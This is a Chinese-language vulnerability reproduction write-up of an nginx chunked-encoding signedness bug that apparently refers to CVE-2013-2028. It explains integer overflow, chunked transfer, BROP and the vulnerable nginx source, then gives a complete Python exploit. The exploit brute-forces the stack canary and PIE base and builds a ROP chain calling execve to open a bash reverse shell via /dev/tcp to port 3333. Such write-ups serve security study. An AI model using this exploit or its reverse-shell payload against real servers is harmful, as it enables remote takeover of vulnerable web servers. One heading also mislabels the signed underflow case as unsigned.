前置芝士
整数溢出
部分数据类型的大小与范围
计算机并不能存储无限大的整数,计算机中的整数类型代表的数值只是自然数的一个子集。
数据类型 | 字节数(32位) | 字节数(64位) | 取值范围(32位)(10进制) | 取值范围(32位)(16进制) |
---|---|---|---|---|
int | 4 | 4 | -2,147,483,648 ~ 2,147,483,647 | 0xFFFFFFFF ~ 0x80000000(-0) 0x00000000(+0) ~ 0x7FFFFFFF |
unsigned int | 4 | 4 | 0 ~ 4,294,967,295 | 0x00000000 ~ 0xFFFFFFFF |
long int | 4 | 8 | -2147483648 ~ 2147483647 | 0xFFFFFFFF ~ 0x80000000(-0) 0x00000000(+0) ~ 0x7FFFFFFF |
short | 2 | 2 | -32768 ~ 32767 | 0xFFFF ~ 0x8000(-0) 0x0000(+0) ~ 0x7FFF |
异常情况
关于整数的异常情况主要有三种:
溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出。
溢出标志OF
可检测有符号数的溢出;回绕,无符号数0减1时会变成最大的数,如1字节的无符号数会变为255,而255加1会变成最小数0。
进位标志CF
可检测无符号数的回绕;截断,将一个较大宽度的数存入一个宽度小的操作数中,
高位发生截断
。
或者说计算机中有4种溢出情况,以32位整数为例。
无符号上溢:无符号数0xFFFFFFFF加1变为0的情况。
无符号下溢:无符号数0减去1变为0xFFFFFFFF的情况。
有符号上溢:有符号数正数0x7FFFFFFF加1变为负数0x80000000,即十进制-2147483648的情况。
无符号下溢:有符号负数0x80000000减去1变为正数0x7FFFFFFF的情况。(本次漏洞复现就是利用的这种情况)
Nginx模块功能介绍
观察Nginx源码目录以及各自的功能如下:
core: 核心代码,包含一些数据结构
event: 事件驱动模型、定时器相关代码
http: http server相关代码
mail: mail代理服务器相关代码
misc: 辅助代码
os: 解决系统兼容性问题
Nginx中主要是以模块为分类:
1、Handler模块: 处理请求并产生输出
2、Filter模块: 处理Handler模块中的输出
3、Load-balancer模块,负责挑选出负载均衡中的某一台服务器
举例说明: 客户端请求过来,nginx便是由各个Handler模块处理http请求包,然后返回给客户端的时候,便会使用Filter模块对http响应包进行处理,包括其中响应头以及响应内容
一个HTTP请求流量中包含了几个点:
请求包: 请求行、请求头、包体
使用Transfer-Encoding头部指明使用的Chunk传输方式
Transfer-Encoding: chunked
是 HTTP/1.1 协议中定义的一种数据传输方式。在 HTTP/1.1 之前,HTTP 协议的响应数据通常是一次性发送的,也就是说,服务器必须把所有的响应数据准备好后,一次性发送给客户端。这种方式的缺点是,如果响应数据很大,或者数据的产生需要花费一定的时间,那么服务器就需要维持一个开放的连接,等待所有数据准备就绪才能发送,这无疑会增加服务器的负担,也会让客户端长时间等待,影响用户体验。
为了解决这个问题,HTTP/1.1 引入了 chunked
传输编码方式。所谓 "chunked",就是将数据分块(chunk)传输。服务器在发送响应头时,不再提供 Content-Length
字段(或者 Content-Length
字段的值为 0),而是使用 Transfer-Encoding: chunked
字段,告诉客户端,响应数据将以多个块(chunk)的形式发送。每个数据块包含两部分:块大小和块数据。块大小是一个十六进制的数字,表示接下来的块数据的字节长度。块数据是实际的数据内容。每个块后面都跟一个空行(CRLF)。当所有的数据发送完毕后,服务器会发送一个大小为 0 的块,表示数据传输结束。
这种方式的优点是,服务器可以边产生数据边发送,不需要等待所有数据都产生完毕。客户端也可以边接收数据边处理,不需要等待所有数据都接收完毕。这样就可以减少服务器的负担,提高数据传输的效率,改善用户体验。
举例来说,如果服务器要发送的数据是 "Hello, World!",并且服务器决定每 5 个字符作为一个块,那么服务器发送的数据可能是这样的
5
Hello
2
,
5
World
1
!
0
客户端收到这些数据后,会根据块大小读取相应的块数据,然后把所有的块数据拼接起来,得到最终的数据 "Hello, World!"。
Brop
BROP 是没有对应应用程序的源代码或者二进制文件下,对程序进行攻击,劫持程序的执行流。
攻击条件
1、源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程。
2、服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)。目前 nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的。(我们这就是nginx)
攻击思路
1.暴力枚举,获取栈溢出长度,如果程序开启了Canary ,顺便将canary也可以爆出来
2.寻找可以返回到程序main函数的gadget,通常被称为stop_gadget
3.利用stop_gadget寻找可利用(potentially useful)gadgets,如:pop rdi; ret
4.寻找BROP Gadget,可能需要诸如write、put等函数的系统调用
5.寻找相应的PLT地址
6.dump远程内存空间
7.拿到相应的GOT内容后,泄露出libc的内存信息,最后利用rop完成getshell
调用链分析
Nginx接收HTTP数据并响应的整个过程如下: (/src/http/ngx_http_request.c)
在gdb调试时,可以输入bt
同样可以查看调用链和源文件
本次漏洞出现的位置主要位置为处理HTTP请求包体
中的丢弃
部分。
首先,我们关注http\ngx_http_request_body.c
里的ngx_http_read_discarded_request_body
这个函数。
static ngx_int_t
ngx_http_read_discarded_request_body(ngx_http_request_t *r)
{
size_t size;
ssize_t n;
ngx_int_t rc;
ngx_buf_t b;
u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];//最大长度为4096
ngx_log_debug0(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
"http read discarded body");
ngx_memzero(&b, sizeof(ngx_buf_t));
b.temporary = 1;
for ( ;; ) {
if (r->headers_in.content_length_n == 0) {
r->read_event_handler = ngx_http_block_reading;
return NGX_OK;
}
if (!r->connection->read->ready) {
return NGX_AGAIN;
}
size = (size_t) ngx_min(r->headers_in.content_length_n,
NGX_HTTP_DISCARD_BUFFER_SIZE);//检查长度大小
//size无符号, r->headers_in.content_length_n 有符号
n = r->connection->recv(r->connection, buffer, size);//通过recv读入size大小的内容
if (n == NGX_ERROR) {
r->connection->error = 1;
return NGX_OK;
}
if (n == NGX_AGAIN) {
return NGX_AGAIN;
}
if (n == 0) {
return NGX_OK;
}
b.pos = buffer;
b.last = buffer + n;
rc = ngx_http_discard_request_body_filter(r, &b);
if (rc != NGX_OK) {
return rc;
}
}
}
在这里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096
,存在一个buffer
变量,其中长度最大为4096
。 然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1))
,看headers_in.content_length_n
的大小是多少,如果小于4096的话将会把它的值给size。 接下来就是使用recv接收数据,这里要注意recv函数
,如果buffer比size小的话,接收过多数据时候会导致栈溢出问题。
当然这里看起来没问题,因为使用了ngx_min做了处理,但是要注意的是headers_in.content_length_n
类型为off_t,也就是有符号的long型,如果他能够为负数,再通过将它转换为size_t类型,也就是无符号的unsigned int型,最终的数值会变得很大。
然后在48
行调用了ngx_http_discard_request_body_filter
函数,该函数定义如下:
static ngx_int_t
ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b)
{
size_t size;
ngx_int_t rc;
ngx_http_request_body_t *rb;
if (r->headers_in.chunked) {//需要设置请求头来进入流程
...
for ( ;; ) {
rc = ngx_http_parse_chunked(r, b, rb->chunked);//调用解析函数
...
if (rc == NGX_AGAIN) {//覆盖的条件
/* set amount of data we want to see next time */
r->headers_in.content_length_n = rb->chunked->length;//长度覆盖
break;
}
/* invalid */
ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
"client sent invalid chunked body");
return NGX_HTTP_BAD_REQUEST;
}
} else {
...
}
return NGX_OK;
}
注意到,如果rc == NGX_AGAIN
的话,r->headers_in.content_length_n
的值将会被第二次的rb->chunked->length
长度覆盖掉,而rc
跟ngx_http_parse_chunked
函数有关。
再跟进第29行的ngx_http_parse_chunked
函数:
ngx_int_t
ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,
ngx_http_chunked_t *ctx)
{
u_char *pos, ch, c;
ngx_int_t rc;
enum {
sw_chunk_start = 0,
sw_chunk_size,
sw_chunk_extension,
sw_chunk_extension_almost_done,
sw_chunk_data,
sw_after_data,
sw_after_data_almost_done,
sw_last_chunk_extension,
sw_last_chunk_extension_almost_done,
sw_trailer,
sw_trailer_almost_done,
sw_trailer_header,
sw_trailer_header_almost_done
} state;//声明一个枚举
state = ctx->state;
if (state == sw_chunk_data && ctx->size == 0) {
state = sw_after_data;
}
rc = NGX_AGAIN;//先将rc赋值为NGX_AGAIN
for (pos = b->pos; pos < b->last; pos++) {//b->pos和b->last间在初始化时分配的0x410大小的堆块,可写内容大小刚好为0x400
ch = *pos;
ngx_log_debug2(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,
"http chunked byte: %02Xd s:%d", ch, state);
switch (state) {
case sw_chunk_start://如果为0到f的十六进制字符,则视为 chunk size处理
if (ch >= '0' && ch <= '9') {
state = sw_chunk_size;//赋值state,下次循环跳转的就是处理size那里
ctx->size = ch - '0';
break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {
state = sw_chunk_size;
ctx->size = c - 'a' + 10;
break;
}
goto invalid;
case sw_chunk_size://处理size
if (ch >= '0' && ch <= '9') {
ctx->size = ctx->size * 16 + (ch - '0');
break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {
ctx->size = ctx->size * 16 + (c - 'a' + 10);
break;
}
if (ctx->size == 0) {//size为0则说明传输完了
switch (ch) {
case CR:
state = sw_last_chunk_extension_almost_done;
break;
case LF:
state = sw_trailer;
break;
case ';':
case ' ':
case '\t':
state = sw_last_chunk_extension;
break;
default:
goto invalid;
}
break;
}
switch (ch) {//size非十六进制数字时的处理
case CR:
state = sw_chunk_extension_almost_done;
break;
case LF://回车符
state = sw_chunk_data;
break;
case ';':
case ' ':
case '\t':
state = sw_chunk_extension;
break;
default:
goto invalid;
}
break;
...
}
}
data:
ctx->state = state;
b->pos = pos;
switch (state) {
case sw_chunk_start:
ctx->length = 3 /* "0" LF LF */;
break;
case sw_chunk_size://给length赋值,并且未检查size的正负情况
ctx->length = 2 /* LF LF */
+ (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);
break;
......
return rc;//返回rc
}
注意到,b->pos
的起始地址和b->last
中间刚好为0x400。如果包体内容设置的全为十六进制数字,则会一直按照sw_chunk_size
来解析,然后进入data:
给ctx->length
赋值,且未检查size
的正负。
流程中唯一给rc
赋值的地方的就是29行的NGX_AGAIN
,便达成了我们所有需要的条件了。
以上是触发漏洞的全部流程。
成功修改size
exp分析
由于这是通过socket来进行交互,所以我们无法通过常规的wrtie
和printf
等输出函数来泄露信息。因此可以借助brop的打法,通过爆破的方法来获取想要的数据。
在背景知识中介绍了nginx服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果)
而canary检测便是其中一种会让服务器崩溃的手段。
泄露canary
通过gdb调试,可以知道canary和返回地址对于我们输入的偏移。
我们这边一字节一字节的爆破canary,如果爆破失败,则程序崩溃,无返回响应报文;如果爆破成功,则有响应报文。所以当前一字节爆破停止的条件就是成功接受响应报文。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
######################## 基础报文的设置
base = '''
GET / HTTP/1.1
Host: 127.0.0.1
Transfer-Encoding: chunked
Connection: Keep-Alive\r\n\r
'''
base +='f' * (1024 - len(base) - 16)
base += "f0000000"
base += "00000060" + "\r\n"
######################### Get Canary
def ByteToHex(byteStr):
return ''.join(["\\x%02x" % ord(x) for x in byteStr]).strip()
def find_canary():
canary = ''
for _ in range(0, 8):
for byte in range(0, 256):
ps = remote('127.0.0.1',80)
ps.send(base + 'A' * 0x1006 + canary + chr(byte))#将之前爆破成功的字节加入,进行下一字节的爆破
try:
ps.recv(1024)
print('[+] canary[%s] = \'\\x%s\'\n' % (hex(len(canary)), hex(byte)[2:].rjust(2, '0')))
ps.close()
break
except:
sys.stdout.write('\033[A[-] Trying canary: "%s\\x%s"\n' % (ByteToHex(canary), hex(byte)[2:].rjust(2, '0')))
sys.stdout.flush()
ps.close()
canary += chr(byte)#成功爆破的字节进入canary
print(chr(byte))
return canary
泄露pie
仍然是爆破泄露,但通过非法内存访问来使程序崩溃。(缺点是有概率无法爆破)
由于text段地址的前三位为固定值,我们要爆破的只有9位(4.5个字节)
如果爆破失败(后面的值均为0xff,则重启nginx 的master process即可,如果还不行就再来一次)
def find_pie(canary):
pie_offset = 0x3fc2f #我们泄露的地址和pie基址的偏移
pie = ''
pie_num = 0x2f
for m in range(0,5):
if m == 0:
for byte in range(0x0c,0xfc,0x10):#最低位为定值 c
ps = remote('127.0.0.1',80)
ps.send(base + 'A'*0x1006 + canary + 'B'*0x18 + '\x2f' + chr(byte))
try:
ps.recv(0x85)
print('[+] pie[%s] = \'\\x%s\'\n' % (hex(len(pie)), hex(byte)[2:].rjust(2, '0')))
ps.close()
break
except:
sys.stdout.write('\033[A[-] Trying pie: "%s\\x%s"\n' % (ByteToHex(pie), hex(byte)[2:].rjust(2, '0')))
sys.stdout.flush()
ps.close()
pie += chr(byte)
print(chr(byte))
else:
for byte in range(0,256):#常规爆破
ps = remote('127.0.0.1',80)
ps.send(base + 'A'*0x1006 + canary + 'B'*0x18 + '\x2f' + pie + chr(byte))
try:
ps.recv(1000)
print('[+] pie[%s] = \'\\x%s\'\n' % (hex(len(pie)), hex(byte)[2:].rjust(2, '0')))
ps.close()
break
except:
sys.stdout.write('\033[A[-] Trying pie: "%s\\x%s"\n' % (ByteToHex(pie), hex(byte)[2:].rjust(2, '0')))
sys.stdout.flush()
ps.close()
pie += chr(byte)
print(chr(byte))
for i in range(0,5):
pie_num += + ord(pie[i])*(256**(i+1))
pie_num -= pie_offset
return pie_num
反弹shell
程序中存在execve的plt表,因此通过调用execve来反弹shell。
execve一参为"/bin/sh -c"
二参为字符串数组,设置为 "/bin/sh -c" , "bash -c " , ""bash -i >&/dev/tcp/0.0.0.0/3333 0>&1""
三参为0
############################# get shell
canary_str = find_canary()
pie = find_pie(canary_str)
#pie = 0x5991aea76000
bss = pie + 0xa5a00
canary = 0
for i in range(0,8):
canary += ord(canary_str[i])*(256**i)
#canary = 0xae0806c252390300
print('canary = ',hex(canary))
print('pie_base = ',hex(pie))
print('shellcode_addr = ',hex(bss))
#0x000000000000ea54 : pop rdi ; ret
#0x0000000000012489 : pop rsi ; ret
#0x000000000002d1d2 : pop rdx ; adc dh, dh ; ret
#0x000000000003cbef : pop rax ; ret
#0x0000000000043720 : mov qword ptr [rdi], rax ; ret
pop_rdi = pie + 0xea54
pop_rsi = pie + 0x12489
pop_rdx = pie + 0x2d1d2
pop_rax = pie + 0x3cbef
mov__rdi_rax = pie +0x43720
execve_plt = pie + 0xdf74
#构造rop,将shell字符串写入bss段
#shell = /bin/sh -c bash -c \"bash -i >&/dev/tcp/0.0.0.0/3333 0>&1\"
rop = base.encode() + b'A'*0x1006 + p64(canary) + b'B'*0x18
rop += p64(pop_rdi) + p64(bss)
rop += p64(pop_rax) + b'/bin/sh\x00'
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x8)
rop += p64(pop_rax) + b'-c'.ljust(8,b'\x00')
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x10)
rop += p64(pop_rax) + b'bash -c '
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x18)
rop += p64(pop_rax) + b'\"bash -i'
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x20)
rop += p64(pop_rax) + b' >&/dev/'
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x28)
rop += p64(pop_rax) + b'tcp/0.0.'
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x30)
rop += p64(pop_rax) + b'0.0/3333'
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x38)
rop += p64(pop_rax) + b' 0>&1\"'.ljust(8,b'\x00')
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x40)#第一个字符串的地址
rop += p64(pop_rax) + p64(bss)
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x48)#第二个字符串的地址
rop += p64(pop_rax) + p64(bss+0x8)
rop += p64(mov__rdi_rax)
rop += p64(pop_rdi) + p64(bss+0x50)#第三个字符串的地址
rop += p64(pop_rax) + p64(bss+0x10)
rop += p64(mov__rdi_rax)
rop += p64(pop_rax) + p64(0x3b)
rop += p64(pop_rdi) + p64(bss)#execve一参
rop += p64(pop_rsi) + p64(bss+0x40)#二参
rop += p64(pop_rdx) + p64(0x0)#三参
rop += p64(execve_plt)
final = remote('127.0.0.1',80)
final.send(rop)
tips:我的机子/bin/sh执行的是shell是dash,重定向不支持非数字,就是>&xxx,xxx只能是数字,不能为>&/dev/xxx,所以用上了bash。
参考链接
https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html
https://github.com/danghvu/nginx-1.4.0/blob/master/exp-nginx.rb
https://github.com/kitctf/nginxpwn/blob/master/poc.py
https://aryb1n.github.io/2018/07/08/execve%E5%8F%8D%E5%BC%B9shell/
https://github.com/m4drat/CVE-2013-2028-Exploit/blob/master/exploit.py#L56